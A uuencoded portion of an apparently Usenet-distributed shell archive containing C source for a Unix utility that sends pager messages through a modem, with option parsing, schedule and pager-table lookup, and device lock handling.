M8V]M<"YS;W5R8V5S+G5N:7@@87)C:&EV92!T;V1A>2$*6"AV,C5I,# Q("T@ M=C(U:3 P-"P@87)C:&EV92!N86UE('!R;V-M86EL*0I8"E@J+PI8"E@C:6YC M;'5D92 \<W1D:6\N:#X*6"-I;F-L=61E(#QF8VYT;"YH/@I8(VEN8VQU9&4@ M/'-T<FEN9RYH/@I8(VEN8VQU9&4@/'-T<FEN9W,N:#X*6"-I;F-L=61E(#QC M='EP92YH/@I8+RH@(VEN8VQU9&4@/'1I;64N:#X@*B\*6"-I;F-L=61E(#QE M<G)N;RYH/@I8(VEN8VQU9&4@/'-Y<R]T>7!E<RYH/@I8(VEN8VQU9&4@/'-Y M<R]T97)M:6]S+F@^"E@C:6YC;'5D92 \<WES+W5I;RYH/@I8(VEN8VQU9&4@ M/'-Y<R]T:6UE+F@^"E@C:6YC;'5D92 \<WES+W)E<V]U<F-E+F@^"E@*6&-H M87(@(" @(" @(" @("IO<'1?;6]D96TL("IO<'1?8G1A8BP@*F]P=%]S8VAE M9"P@*F]P=%]D:6%L;G5M+" J;W!T7W!A9V5R:60["EAC:&%R(" @(" @(" @ M(" J;W!T7VUE<W-A9V4L("IO<'1?=VAO.PI8:6YT(" @(" @(" @(" @(&]P M=%]W86ET+"!O<'1?=&5E+"!O<'1?=F5R8F]S93L*6"\J(&]P=%]V97)B;W-E M/3 @3VYL>2!E<G)O<G,@86YD(')E<75I<F5D(&]U='!U=" J+PI8+RH@;W!T M7W9E<F)O<V4],2!5<W5A;"!O=71P=70@*B\*6"\J(&]P=%]V97)B;W-E/3(@ M57-U86P@<&QU<R!M;V1E;2!D:6%L;V=U92 J+PI8+RH@;W!T7W9E<F)O<V4] M,R!$96)U9V=I;F<@;W5T<'5T("HO"E@*6"-D969I;F4@3%-?3D]42$E.1R @ M(" @("@P*0I8(V1E9FEN92!,4U]314Y$("@Q*0I8(V1E9FEN92!,4U]%6%!% M0U0@(" @(" @*#(I"EAI;G0@(" @(" @(" @(" @;&%S=%]S869E(#T@3%-? M3D]42$E.1SL*6 I88VAA<B @(" @(" @(" @*FUO9&5M;&]C:SL*6 I8(V1E M9FEN92!$149!54Q47TU/1$5-("(O9&5V+W1T>7HT(@I8+RH@(V1E9FEN92!$ M149!54Q47TU/1$5-("(O9&5V+V-U83$B("HO"E@C9&5F:6YE($1%1D%53%1? M0E1!0B @(B]E=&,O8F5E<&5R=&%B(@I8(V1E9FEN92!$149!54Q47U-#2$5$ M("(O971C+V)E97!E<G-C:&5D(@I8"E@C9&5F:6YE($U!6%]-15-304=%3$5. M("@Q,C I"EAC:&%R(" @(" @(" @(" @;65S<V%G96)U9F9;34%87TU%4U-! M1T5,14X@*R Q73L*6"-D969I;F4@3$]#2T1)4B B+W9A<B]S<&]O;"]L;V-K M<R(*6 I8(V1E9FEN92!44E5%(" @("@Q*0I8(V1E9FEN92!&04Q312 @("@P M*0I8"EAV;VED"EAB86EL7V]U="AE*0I8"6EN="!E.PI8>PI8"6EF("AE*0I8 M(" @(" @("!P<FEN=&8H(BXN+D524D]2(2 @4&%G92!W87,@;F]T(&)E('-U M8V-E<W-F=6PA("!4<GD@86=A:6XN7&XB*3L*6 EE;'-E"E@)"7!R:6YT9B@B M+BXN9&]N92Y<;B(I.PI8(" @(&5X:70H92D["EA]"E@*6 I8+RH@<F5A9',@ M86QL(&-O;6UA;F0@;&EN92!I;F9O+"!P<F]C97-S97,@:70L(&5T8RX@*B\* M6&EN=" *6'-E=&]P=&EO;G,H87)G8RP@87)G=BD*6" @("!I;G0@(" @(" @ M(" @(" @87)G8SL*6" @("!C:&%R(" @(" @(" @("HJ87)G=CL*6'L*6" @ M("!E>'1E<FX@8VAA<B @(" J;W!T87)G.PI8(" @(&5X=&5R;B!I;G0@(" @ M("!O<'1I;F0["E@@(" @:6YT(" @(" @(" @(" @(&,L(&5R<F9L9R ](# L M(&UL+"!L87-T7W-P86-E.PI8(" @(&-H87(@(" @(" @(" @("IM+" J=RP@ M8V@["E@*6" @("!O<'1?;6]D96T@/2!$149!54Q47TU/1$5-.R @+RH@<V5T M(&1E9F%U;'1S("HO"E@@(" @;W!T7W-C:&5D(#T@1$5&055,5%]30TA%1#L* M6" @("!O<'1?8G1A8B ]($1%1D%53%1?0E1!0CL*6" @("!O<'1?9&EA;&YU M;2 ]($Y53$P["E@@(" @;W!T7W!A9V5R:60@/2!.54Q,.PI8(" @(&]P=%]T M964@/2!&04Q313L*6" @("!O<'1?=F5R8F]S92 ](#$["E@@(" @;W!T7W=A M:70@/2!&04Q313L*6" @("!O<'1?=VAO(#T@3E5,3#L*6" @("!O<'1?;65S M<V%G92 ](&UE<W-A9V5B=69F.PI8"E@@(" @=VAI;&4@*"AC(#T@9V5T;W!T M*&%R9V,L(&%R9W8L(")$.E,Z5#ID.G Z='-V=R(I*2 A/2 M,2D*6" @(" @ M(" @<W=I=&-H("AC*2!["E@@(" @(" @(&-A<V4@)T0G.@I8(" @(" @(" @ M(" @;W!T7VUO9&5M(#T@;W!T87)G.PI8(" @(" @(" @(" @8G)E86L["E@@ M(" @(" @(&-A<V4@)U,G.@I8(" @(" @(" @(" @;W!T7W-C:&5D(#T@;W!T M87)G.PI8(" @(" @(" @(" @8G)E86L["E@@(" @(" @(&-A<V4@)U0G.@I8 M(" @(" @(" @(" @;W!T7V)T86(@/2!O<'1A<F<["E@@(" @(" @(" @("!B M<F5A:SL*6" @(" @(" @8V%S92 G9"<Z"E@@(" @(" @(" @("!O<'1?9&EA M;&YU;2 ](&]P=&%R9SL*6" @(" @(" @(" @(&)R96%K.PI8(" @(" @("!C M87-E("=P)SH*6" @(" @(" @(" @(&]P=%]P86=E<FED(#T@;W!T87)G.PI8 M(" @(" @(" @(" @8G)E86L["E@@(" @(" @(&-A<V4@)W0G.@I8(" @(" @ M(" @(" @;W!T7W1E92 ]($9!3%-%.PI8(" @(" @(" @(" @8G)E86L["E@@ M(" @(" @(&-A<V4@)W,G.@I8(" @(" @(" @(" @:68@*&]P=%]V97)B;W-E M(#X@,2D*6" @(" @(" @(" @(" @("!E<G)F;&<K*SL*6" @(" @(" @(" @ M(&5L<V4*6" @(" @(" @(" @(" @("!O<'1?=F5R8F]S92 ](# ["E@@(" @ M(" @(" @("!B<F5A:SL*6" @(" @(" @8V%S92 G=B<Z"E@@(" @(" @(" @ M("!I9B H*&]P=%]V97)B;W-E(#T](#$I('Q\("AO<'1?=F5R8F]S92 ]/2 R M*2D*6" @(" @(" @(" @(" @("!O<'1?=F5R8F]S92LK.PI8(" @(" @(" @ M(" @96QS90I8(" @(" @(" @(" @(" @(&5R<F9L9RLK.PI8(" @(" @(" @ M(" @8G)E86L["E@@(" @(" @(&-A<V4@)W<G.@I8(" @(" @(" @(" @;W!T M7W=A:70@/2!44E5%.PI8(" @(" @(" @(" @8G)E86L["E@@(" @(" @(&-A M<V4@)S\G.@I8(" @(" @(" @(" @97)R9FQG*RL["E@@(" @(" @('T*6 I8 M(" @("\J(&=E="!T:&4@<&5R<V]N)W,@;F%M92 J+PI8(" @(&EF("AO<'1I M;F0@/"!A<F=C*0I8(" @(" @("!O<'1?=VAO(#T@87)G=EMO<'1I;F0K*UT[ M"E@@(" @96QS90I8(" @(" @("!E<G)F;&<K*SL*6 I8(" @("\J('1A:V4@ M=&AE(&9I<G-T($U!6%]-15-304=%3$5.(&)Y=&5S(&]F('1H92!M97-S86=E M("HO"E@@(" @;6P@/2!-05A?34534T%'14Q%3CL["E@@(" @;2 ](&]P=%]M M97-S86=E.PI8(" @('=H:6QE("AO<'1I;F0@/"!A<F=C*2!["E@@(" @(" @ M('<@/2!A<F=V6V]P=&EN9%T["E@@(" @(" @('=H:6QE("@J=R F)B!M;"D@ M>PI8(" @(" @(" @(" @*FTK*R ]("IW*RL["E@@(" @(" @(" @("!M;"TM M.PI8(" @(" @("!]"E@@(" @(" @(&]P=&EN9"LK.PI8(" @(" @(" J;2LK M(#T@)R G.PI8(" @(" @("!M;"TM.PI8(" @('T*6" @("!I9B H:7-S<&%C M92@J*&T@+2 Q*2DI"E@@(" @(" @(&TM+3L*6" @(" J;2 ]("=<,"<["E@* M6" @(" O*B!I9B!T:&4@;65S<V%G92!S:&]U;&0@8V]M92!F<F]M('-T9&EN M+"!G970@:70@*B\*6" @("!I9B H(7-T<F-M<"AO<'1?;65S<V%G92P@(BTB M*2D@>PI8(" @(" @("!L87-T7W-P86-E(#T@5%)513L*6" @(" @(" @;6P@ M/2!-05A?34534T%'14Q%3CL*6" @(" @(" @;2 ](&]P=%]M97-S86=E.PI8 M(" @(" @("!W:&EL92 H*&-H(#T@9V5T8VAA<B@I*2 A/2!%3T8I('L*6" @ M(" @(" @(" @(&EF("AO<'1?=&5E*0I8(" @(" @(" @(" @(" @('!U=&-H M87(H8V@I.PI8(" @(" @(" @(" @:68@*&UL*2!["E@@(" @(" @(" @(" @ M(" @:68@*&ES<W!A8V4H8V@I*2!["E@@(" @(" @(" @(" @(" @(" @(&EF M("@A;&%S=%]S<&%C92D@>PI8(" @(" @(" @(" @(" @(" @(" @(" @*FTK M*R ]("<@)SL*6" @(" @(" @(" @(" @(" @(" @(" @(&UL+2T["E@@(" @ M(" @(" @(" @(" @(" @(" @("!L87-T7W-P86-E(#T@5%)513L*6" @(" @ M(" @(" @(" @(" @(" @?0I8(" @(" @(" @(" @(" @('T@96QS92!["E@@ M(" @(" @(" @(" @(" @(" @(&EF("AI<W!R:6YT*&-H*2D@>PI8(" @(" @ M(" @(" @(" @(" @(" @(" @*FTK*R ](&-H.PI8(" @(" @(" @(" @(" @ M(" @(" @(" @;6PM+3L*6" @(" @(" @(" @(" @(" @(" @(" @(&QA<W1? M<W!A8V4@/2!&04Q313L*6" @(" @(" @(" @(" @(" @(" @?0I8(" @(" @ M(" @(" @(" @('T*6" @(" @(" @(" @('T*6" @(" @(" @?0I8(" @(" @ M(" J;2 ]("=<,"<["E@@(" @?0I8(" @("\J('!R;V)L96US('=I=&@@;65S M<V%G93\@*B\*6" @("!I9B H*&]P=%]M97-S86=E(#T]($Y53$PI('Q\("@A M*F]P=%]M97-S86=E*2D*6" @(" @(" @97)R9FQG*RL["E@*6" @("!I9B H M97)R9FQG*2!["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(E5S M86=E.B E<R!;+40@9&5V:6-E72!;+5,@<V-H961U;&5=(%LM5"!P86=E<B!T M86)L95T@6RUD(&1I86P@;G5M75QN(BP@87)G=ELP72D["E@@(" @(" @("AV M;VED*2!F<')I;G1F*'-T9&5R<BP@(B @("!;+7 @<&%G97(@:61=(%LM=%T@ M6RUW72!W:&\@;65S<V%G95QN(BD["E@@(" @(" @("AV;VED*2!F<')I;G1F M*'-T9&5R<BP@(EQN3W!T:6]N<SI<;B(I.PI8(" @(" @(" H=F]I9"D@9G!R M:6YT9BAS=&1E<G(L("(@(" M1" @9&5V:6-E("AD969A=6QT(&ES("5S*5QN M(BP@1$5&055,5%]-3T1%32D["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T M9&5R<BP@(B @("U3("!S8VAE9'5L92!F:6QE("AD969A=6QT(&ES("5S*5QN M(BP@1$5&055,5%]30TA%1"D["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T M9&5R<BP@(B @("U4("!P86=E<B!T86)L92 H9&5F875L="!I<R E<RE<;B(L M($1%1D%53%1?0E1!0BD["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R M<BP@(B @("UD("!N=6UB97(@=&\@9&EA;" H:6=N;W)E('9A;'5E(&9R;VT@ M+50I+EQN(BD["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @ M("UP("!P86=E<B!I9" H:6=N;W)E('9A;'5E(&9R;VT@+50I+EQN(BD["E@@ M(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @("UT("!T964@86QL M('-T9&EN(&EN=&\@<W1D;W5T+EQN(BD["E@@(" @(" @("AV;VED*2!F<')I M;G1F*'-T9&5R<BP@(B @("US("!S:6QE;G0@;6]D92Y<;B(I.PI8(" @(" @ M(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L("(@(" M=B @=F5R8F]S92!M;V1E M+EQN(BD["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @("UV M=B!V97)Y('9E<F)O<V4@*&1E8G5G9VEN9RD@;6]D92Y<;B(I.PI8(" @(" @ M(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L("(@(" M=R @=V%I="!F;W(@;6]D M96T@*')A=&AE<B!T:&%N(&%B;W)T*2Y<;B(I.PI8(" @(" @(" H=F]I9"D@ M9G!R:6YT9BAS=&1E<G(L(")<;DYO=&5S.EQN(BD["E@@(" @(" @("AV;VED M*2!F<')I;G1F*'-T9&5R<BP@(B @($EF("=W:&\G(&ES("<M)R!T:&5N('-C M:&5D=6QE(&ES(&-O;G-U;'1E9"Y<;B(I.PI8(" @(" @(" H=F]I9"D@9G!R M:6YT9BAS=&1E<G(L("(@("!)9B G;65S<V%G92<@:7,@)RTG('1H96X@;65S M<V%G92!I<R!F:7)S=" Q,C @8GET97,@;V8@<W1A;F1A<F0@:6YP=70N7&XB M*3L*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B(" @3F%M97,@ M87)E(&-A<V4M<V5N<VET:79E+EQN(BD["E@@(" @(" @("AV;VED*2!F<')I M;G1F*'-T9&5R<BP@(EQN17AA;7!L97,Z7&XB*3L*6" @(" @(" @*'9O:60I M(&9P<FEN=&8H<W1D97)R+" B(" @4&%G92 G=&]M)R!A;F0@;&5A=F4@=&AE M(&UE<W-A9V4Z("=9;W5R(&QA=6YD<GD@:7,@9FEN:7-H960N)UQN(BD["E@@ M(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @("4E("5S('1O;2!9 M;W5R(&QA=6YD<GD@:7,@9FEN:7-H960N7&XB+"!A<F=V6S!=*3L*6" @(" @ M(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B7&XB*3L*6" @(" @(" @*'9O M:60I(&9P<FEN=&8H<W1D97)R+" B(" @4&%G92 Q.# P+34U-2TQ,C$R+"!U M<V4@4$E.(#$R,S0U-B!A;F0@;&5A=F4@=&AE(&UE<W-A9V4Z("=";# P<"$A M(2=<;B(I.PI8(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L("(@(" E M)2 E<R M9" Q.# P-34U,3(Q,B M<" Q,C,T-38@+2!";# P<"$A(5QN(BP@ M87)G=ELP72D["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(EQN M(BD["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @(%!A9V4@ M=VAO979E<B!I<R!S8VAE9'5L960@=&\@8F4@)V]N(&-A;&PG('=I=&@@;65S M<V%G93H@4V5R=F5R(#@@:7,@9&]W;EQN(BD["E@@(" @(" @("AV;VED*2!F M<')I;G1F*'-T9&5R<BP@(B @("4E("5S("T@4V5R=F5R(#@@:7,@9&]W;EQN M(BP@87)G=ELP72D["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@ M(EQN(BD["E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @(%-E M;F0@9W)E9R!T:&4@9FER<W0@,3(P(&)Y=&5S(&]F(&9I;&4@9F]O+EQN(BD[ M"E@@(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(B @("4E("5S(&=R M96<@+2 \9F]O7&XB+"!A<F=V6S!=*3L*6" @(" @(" @*'9O:60I(&9P<FEN M=&8H<W1D97)R+" B7&XB*3L*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D M97)R+" B(" @36%I;"!O=71P=70@;V8@8F%R('1O(&EN9V\@86YD('-E;F0@ M9FER<W0@,3(P(&)Y=&5S('1O(&AI<R!P86=E<BY<;B(I.PI8(" @(" @(" H M=F]I9"D@9G!R:6YT9BAS=&1E<G(L("(@(" E)2!B87(@?" E<R M="!I;F=O M("T@?"!M86EL(&EN9V]<;B(L(&%R9W9;,%TI.PI8"E@@(" @(" @(&)A:6Q? M;W5T*#(I.PI8(" @('T*6" @("!R971U<FX["EA]"E@*6"\J(%)E860@<V-H M961U;&4@9FEL93H@(&1O97,@=F5R>2!L:71T;&4@97)R;W(@8VAE8VMI;F<@ M*B\*6&-H87(@(" @(" @(" @("H*6')E861S8VAE9"AF;BD*6" @("!C:&%R M(" @(" @(" @(" J9FX["EA["E@@(" @<W1A=&EC(&-H87(@(" @(&)U9ELQ M,#!=.PI8(" @($9)3$4@(" @(" @(" @("IF9#L*6" @("!C:&%R(" @(" @ M(" @(" @9&]W.R @(" O*B!D87D@;V8@=V5E:R J+PI8(" @('-T<G5C="!T M;2 @(" @("IS=&T["E@@(" @8VAA<B @(" @(" @(" @('1O:SL*6" @("!T M:6UE7W0@(" @(" @(" @=&EM.PI8"E@@(" @=&EM(#T@=&EM92@P*3L*6" @ M("!S=&T@/2!L;V-A;'1I;64H)G1I;2D["E@@(" @9&]W(#T@)S G("L@<W1M M+3YT;5]W9&%Y.PI8"E@@(" @:68@*&]P=%]V97)B;W-E(#X@,BD*6" @(" @ M(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B3W!E;FEN9R E<UQN(BP@9FXI M.PI8(" @(&EF("@A*&9D(#T@9F]P96XH9FXL(")R(BDI*2!["E@@(" @(" @ M("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D-A;B=T(&]P96X@)7-<;B(L(&9N M*3L*6" @(" @(" @8F%I;%]O=70H,2D["E@@(" @?0I8(" @('=H:6QE("AF M9V5T<RAB=68L(#$P,"P@9F0I*2!["E@@(" @(" @(&EF("AB=69;,%T@/3T@ M9&]W*2!["E@@(" @(" @(" @("!I9B H;W!T7W9E<F)O<V4@/B R*0I8(" @ M(" @(" @(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(D1A>2!L:6YE M/3HE<SI<;B(L(&)U9BD["E@@(" @(" @(" @("!B<F5A:SL*6" @(" @(" @ M?0I8(" @('T*6" @("!T;VL@/2!B=69;<W1M+3YT;5]H;W5R73L*6" @("!W M:&EL92 H9F=E=',H8G5F+" Q,# L(&9D*2D@>PI8(" @(" @("!I9B H*&)U M9ELP72 ]/2!T;VLI("8F("AB=69;,5T@/3T@)STG*2D@>PI8(" @(" @(" @ M(" @:68@*&]P=%]V97)B;W-E(#X@,BD*6" @(" @(" @(" @(" @(" H=F]I M9"D@9G!R:6YT9BAS=&1E<G(L(")097)S;VX@;&EN93TZ)7,Z7&XB+"!B=68I M.PI8(" @(" @(" @(" @8G)E86L["E@@(" @(" @('T*6" @("!]"E@@(" @ M9F-L;W-E*&9D*3L*6" @("!I9B H;W!T7W9E<F)O<V4@/B R*0I8(" @(" @ M(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")#;&]S92 E<UQN(BP@9FXI.PI8 M(" @(&)U9EMS=')L96XH8G5F*2 M(#%=(#T@)UPP)SL@(" @+RH@>F%P('1H M92!<;B J+PI8(" @(')E='5R;B!B=68@*R R.PI8?0I8"EAC:&%R(" @(" @ M(" @(" J"EAG971P86=E<FEN9F\H9FXL(&ME>2P@8V]L*0I8(" @(&-H87(@ M(" @(" @(" @("IF;CL@+RH@<V5A<F-H('1H:7,@9FEL92 J+PI8(" @(&-H M87(@(" @(" @(" @("IK97D[(" @("\J(&9O<B!A(&QI;F4@8F5G:6YN:6YG M('=I=&@@=&AI<R!S=')I;F<@*B\*6" @("!I;G0@(" @(" @(" @(" @8V]L M.R @(" O*B!W:&EC:"!C;VQU;6X@=&\@97AT<F%C=" J+PI8>PI8(" @('-T M871I8R!C:&%R(" @("!B=69;,3 P73L*6" @("!C:&%R(" @(" @(" @(" J M<"P@*G-T87)T+" J96YD.PI8(" @($9)3$4@(" @(" @(" @("IF9#L*6 I8 M(" @(&EF("AO<'1?=F5R8F]S92 ^(#(I"E@@(" @(" @("AV;VED*2!F<')I M;G1F*'-T9&5R<BP@(D]P96YI;F<@)7-<;B(L(&9N*3L*6" @("!I9B H(2AF M9" ](&9O<&5N*&9N+" B<B(I*2D@>PI8(" @(" @(" H=F]I9"D@9G!R:6YT M9BAS=&1E<G(L(")%4E(Z($-A;B=T(&]P96X@)7-<;B(L(&9N*3L*6" @(" @ M(" @8F%I;%]O=70H,2D["E@@(" @?0I8(" @('=H:6QE("AF9V5T<RAB=68L M(#$P,"P@9F0I*2!["E@@(" @(" @(' @/2!B=68["E@@(" @(" @('=H:6QE M("AI<W-P86-E*"IP*2D*6" @(" @(" @(" @(' K*SL*6" @(" @(" @<W1A M<G0@/2!P.PI8(" @(" @("!W:&EL92 H(6ES<W!A8V4H*G I*0I8(" @(" @ M(" @(" @<"LK.PI8(" @(" @("!E;F0@/2!P*RL["E@@(" @(" @("IE;F0@ M/2 G7# G.PI8(" @(" @("!I9B H(7-T<F-M<"AS=&%R="P@:V5Y*2D@>PI8 M(" @(" @(" @(" @:68@*&]P=%]V97)B;W-E(#X@,BD*6" @(" @(" @(" @ M(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")T86)L:6YE/3HE<SI<;B(L M(&)U9BD["E@@(" @(" @(" @("!C;VPM+3L*6" @(" @(" @(" @('=H:6QE M("@M+6-O;"D@>PI8(" @(" @(" @(" @(" @('=H:6QE("AI<W-P86-E*"IP M*2D*6" @(" @(" @(" @(" @(" @(" @<"LK.PI8(" @(" @(" @(" @(" @ M('-T87)T(#T@<#L*6" @(" @(" @(" @(" @("!W:&EL92 H(6ES<W!A8V4H M*G I*0I8(" @(" @(" @(" @(" @(" @("!P*RL["E@@(" @(" @(" @(" @ M(" @96YD(#T@<"LK.PI8(" @(" @(" @(" @(" @("IE;F0@/2 G7# G.PI8 M(" @(" @(" @(" @?0I8(" @(" @(" @(" @:68@*&]P=%]V97)B;W-E(#X@ M,BD*6" @(" @(" @(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")# M;&]S92 E<UQN(BP@9FXI.PI8(" @(" @(" @(" @9F-L;W-E*&9D*3L*6" @ M(" @(" @(" @(')E='5R;B!S=&%R=#L*6" @(" @(" @?0I8(" @('T*6" @ M("!I9B H;W!T7W9E<F)O<V4@/B R*0I8(" @(" @(" H=F]I9"D@9G!R:6YT M9BAS=&1E<G(L(")#;&]S92 E<UQN(BP@9FXI.PI8(" @(&9C;&]S92AF9"D[ M"E@@(" @<F5T=7)N($Y53$P["EA]"E@*6'9O:60@"EAS869E;FPH*0I8>PI8 M(" @(&EF("AL87-T7W-A9F4I"E@@(" @(" @(&EF("AL87-T7W-A9F4@(3T@ M3%-?15A014-4*0I8(" @(" @(" @(" @:68@*&]P=%]V97)B;W-E/C$I("AV M;VED*2!F<')I;G1F*'-T9&5R<BP@(CHB*3L*6" @("!I9B H;&%S=%]S869E M*0I8(" @(" @("!I9B H;W!T7W9E<F)O<V4^,2D@*'9O:60I(&9P<FEN=&8H M<W1D97)R+" B7&XB*3L*6" @("!L87-T7W-A9F4@/2!,4U].3U1(24Y'.PI8 M?0I8"EAV;VED( I8<V%F97!R:6YT*'-T<BD*6" @("!C:&%R(" @(" @(" @ M(" J<W1R.PI8>PI8(" @('=H:6QE("@J<W1R*2!["E@@(" @(" @(&EF("AI M<V=R87!H*"IS='(I*0I8(" @(" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D M97)R+" B)6,B+" J<W1R*3L*6" @(" @(" @96QS92!["E@@(" @(" @(" @ M("!S=VET8V@@*"IS='(I('L*6" @(" @(" @(" @(&-A<V4@,3 Z"E@@(" @ M(" @(" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B7%QN(BD["E@@ M(" @(" @(" @(" @(" @8G)E86L["E@@(" @(" @(" @("!C87-E(#$S.@I8 M(" @(" @(" @(" @(" @("AV;VED*2!F<')I;G1F*'-T9&5R<BP@(EQ<<B(I M.PI8(" @(" @(" @(" @(" @(&)R96%K.PI8(" @(" @(" @(" @8V%S92 S M,CH*6" @(" @(" @(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")< M7',B*3L*6" @(" @(" @(" @(" @("!B<F5A:SL*6" @(" @(" @(" @(&1E M9F%U;'0Z"E@@(" @(" @(" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R M+" B7%PE9"(L("IS='(I.PI8(" @(" @(" @(" @(" @(&)R96%K.PI8(" @ M(" @(" @(" @?0I8(" @(" @("!]"E@@(" @(" @('-T<BLK.PI8(" @('T* M6" @("!F9FQU<V@H<W1D97)R*3L*6'T*6 I8+RH@=V%I="!F;W(@;&]C:R J M+PI88VAA<B @(" @(" @(" @*@I8=VQO8VLH9&5V*0I8(" @(&-H87(@(" @ M(" @(" @("ID978["EA["E@@(" @:6YT(" @(" @(" @(" @(&QO8VLL('!I M9#L*6" @("!C:&%R(" @(" @(" @(" @=V%I=&-N=" ](# ["E@@(" @8VAA M<B @(" @(" @(" @*FQK;BP@;&YA;65;,3 P72P@8G5F6S4P73L*6 I8(" @ M(&EF("AO<'1?=F5R8F]S92D*6" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D M97)R+" B3&]C:VEN9R E<UQN(BP@9&5V*3L*6" @("!S=')C<'DH;&YA;64L M($Q/0TM$25(I.PI8(" @('-T<F-A="AL;F%M92P@(B],0TLN+B(I.PI8(" @ M('-T<F-A="AL;F%M92P@9&5V*3L*6 I8(" @(&QK;B ]('-T<F1U<"AL;F%M M92D["E@@(" @=VAI;&4@*#$I('L*6" @(" @(" @97)R;F\@/2 P.PI8(" @ M(" @("!L;V-K(#T@;W!E;BAL;F%M92P@3U]#4D5!5"!\($]?5U)/3DQ9('P@ M3U]%6$-,+" P-S<W*3L*6" @(" @(" @:68@*&QO8VL@/3T@+3$I('L*6" @ M(" @(" @(" @(&EF("AO<'1?=F5R8F]S92 ^(#(I"E@@(" @(" @(" @(" @ M(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B15)2.B E<R!I<R!A;')E861Y M(&QO8VME9"Y<;B(L(&1E=BD["E@@(" @(" @(" @("!I9B H*&QO8VL@/2!O M<&5N*&QN86UE+"!/7U)$3TY,62DI(#T]("TQ*2!["E@@(" @(" @(" @(" @ M(" @<&ED(#T@,#L*6" @(" @(" @(" @('T@96QS92!["E@@(" @(" @(" @ M(" @(" @<F5A9"AL;V-K+"!B=68L(#0Y*3L*6" @(" @(" @(" @(" @("!C M;&]S92AL;V-K*3L*6" @(" @(" @(" @(" @("!P:60@/2!A=&]I*&)U9BD[ M"E@@(" @(" @(" @("!]"E@@(" @(" @(" @("!I9B H<&ED(#P@,RD@>PI8 M(" @(" @(" @(" @(" @('5N;&EN:RAL;F%M92D["E@@(" @(" @(" @(" @ M(" @8V]N=&EN=64["E@@(" @(" @(" @("!]"E@@(" @(" @(" @(" O*B!D M;V5S('1H92!P<F]C97-S('-T:6QL(&5X:7-T/R J+PI8(" @(" @(" @(" @ M97)R;F\@/2 P.PI8(" @(" @(" @(" @*'9O:60I(&=E='!R:6]R:71Y*%!2 M24]?4%)/0T534RP@<&ED*3L*6" @(" @(" @(" @(&EF("AE<G)N;R ]/2!% M4U)#2"D@>R @("\J(&QO8VL@<')O8V5S<R!D96%D+"!L970G<PI8(" @(" @ M(" @(" @(" @(" @(" @(" @("H@9V\A("HO"E@@(" @(" @(" @(" @(" @ M:68@*&]P=%]V97)B;W-E(#X@,BD*6" @(" @(" @(" @(" @(" @(" @*'9O M:60I(&9P<FEN=&8H<W1D97)R+" B4W1A;&4@;&]C:R!E>&ES=',N7&XB*3L* M6" @(" @(" @(" @(" @("!I9B H=6YL:6YK*&QN86UE*2D@>PI8(" @(" @ M(" @(" @(" @(" @("!I9B H;W!T7W9E<F)O<V4@/B R*0I8(" @(" @(" @ M(" @(" @(" @(" @(" @*'9O:60I(&9P<FEN=&8H<W1D97)R+" B15)2.B!# M86XG="!S=&5A;"!L;V-K+EQN(BD["E@@(" @(" @(" @(" @(" @(" @(&EF M("@A;W!T7W=A:70I"E@@(" @(" @(" @(" @(" @(" @(" @(" H=F]I9"D@ M9G!R:6YT9BAS=&1E<G(L(").;R!M;V1E;7,@879A:6QA8FQE+EQN(BD["E@@ M(" @(" @(" @(" @(" @(" @(&)A:6Q?;W5T*#$I.PI8(" @(" @(" @(" @ M(" @('T@96QS92!["E@@(" @(" @(" @(" @(" @(" @(&EF("AO<'1?=F5R M8F]S92D*6" @(" @(" @(" @(" @(" @(" @(" @("AV;VED*2!F<')I;G1F M*'-T9&5R<BP@(E-T86QE(&QO8VL@8FQO=VX@87=A>2Y<;B(I.PI8(" @(" @ M(" @(" @(" @(" @("!C;VYT:6YU93L*6" @(" @(" @(" @(" @("!]"E@@ M(" @(" @(" @("!](&5L<V4@>PI8(" @(" @(" @(" @(" @(&EF("AO<'1? M=V%I="D@>PI8(" @(" @(" @(" @(" @(" @("!I9B H*&]P=%]V97)B;W-E M(#X@,2D@?'P@*"AO<'1?=F5R8F]S92D@)B8@*"%W86ET8VYT*2DI"E@@(" @ M(" @(" @(" @(" @(" @(" @(" H=F]I9"D@9G!R:6YT9BAS=&1E<G(L(")7 M86ET:6YG(&9O<B!L;V-K('1O(&)E8V]M92!F<F5E+EQN(BD["E@@(" @(" @ M(" @(" @(" @(" @('=A:71C;G0K*SL*6" @(" @(" @(" @(" @(" @(" @ M<VQE97 H,3 I.PI8(" @(" @(" @(" @(" @(" @("!C;VYT:6YU93L*6" @ M(" @(" @(" @(" @("!](&5L<V4@>PI8(" @(" @(" @(" @(" @(" @(" H 